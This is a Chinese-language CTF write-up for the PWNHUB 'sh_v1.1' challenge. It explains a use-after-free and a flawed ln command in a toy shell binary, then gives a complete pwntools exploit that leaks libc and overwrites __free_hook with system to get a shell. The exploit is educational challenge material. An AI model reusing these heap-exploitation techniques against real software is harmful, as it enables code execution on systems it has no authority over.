PWNHUB sh_v1_1


漏洞分析

  1. rm 释放堆之后未清零造成 UAF 漏洞
  2. ln 执行时仅判断第一个文件是否存在而不会判断第二个文件是否存在,且连接成功后不存在的文件将被添加到文件列表

利用思路

  1. 利用两个相同大小的unsorted bin合并,申请一个相同大小的堆块,堆快中残留的fd,可以泄露到 malloc_hook地址进而泄露libc基址

  2. 删除一个堆之后与另一个堆进行连接

  3. 再次删除这个堆,即间接的删除了与其进行连接的堆,而不会造成与其连接的堆从文件列表消失

  4. 再次连接后删除的文件又在文件列表中出现,此时两个文件即两个堆都已经被释放,且最开始被连接的堆的fd为其之后连接的堆

  5. 用gedit编辑最开始被释放的堆,即可修改其fd,再次申请就可以实现任意地址写

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './sh_v1.1'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('121.40.89.206',34883)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def touch(filename, content):
    p1 = 'touch ' + filename
    r.sendlineafter('>>>>', p1)
    r.sendline(content)

def ls():
    r.sendlineafter('>>>>', 'ls')

def rm(filename):
    p1 = 'rm ' + filename
    r.sendlineafter('>>>>', p1)

def cp(filename1, filename2):
    p1 = 'cp ' + filename1 + ' ' +  filename2
    r.sendlineafter('>>>>', p1)

def cat(filename):
    p1 = 'cat ' + filename
    r.sendlineafter('>>>>', p1)

def gedit(filename, content):
    p1 = 'gedit ' + filename
    r.sendlineafter('>>>>', p1)
    r.sendline(content)

def ln(filename1, filename2):
    p1 = 'ln ' + filename1 + ' ' +  filename2
    r.sendlineafter('>>>>', p1)

for i in range(10):
    p1 = 'try' + str(i) + '.txt'
    touch(p1, 'aaa')

for i in range(9):
    p1  = 'try' + str(i) + '.txt'
    rm(p1)

for i in range(8):
    p1 = 'try' + str(i) + '.txt'
    touch(p1, 'aaaaaaaa')

cat('try7.txt')
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 1104 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']

free_hook = libc.sym['__free_hook'] + libc_base
li('free_hook = ' + hex(free_hook))

system = libc.sym['system'] + libc_base

touch('try8.txt', 'aaa')

rm('try0.txt')
ln('try6.txt', 'try0.txt')

rm('try0.txt')
ln('try6.txt', 'try0.txt')

gedit('try0.txt', p64(free_hook))
dbg()

touch('try10.txt', '/bin/sh\x00')
touch('try11.txt', p64(system))

rm('try10.txt')

r.interactive()

  目录